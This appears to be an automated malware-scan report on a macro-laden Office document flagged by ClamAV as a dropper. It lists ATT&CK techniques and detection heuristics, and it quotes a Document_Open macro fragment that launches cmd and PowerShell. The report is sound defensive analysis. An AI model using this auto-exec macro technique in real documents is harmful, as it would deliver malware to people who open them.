MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute cmd.exe. The script constructs the command 'c:\windows\system32\cmd /c powershell', indicating an intent to download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6836925-0' further supports its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6836925-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6836925-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
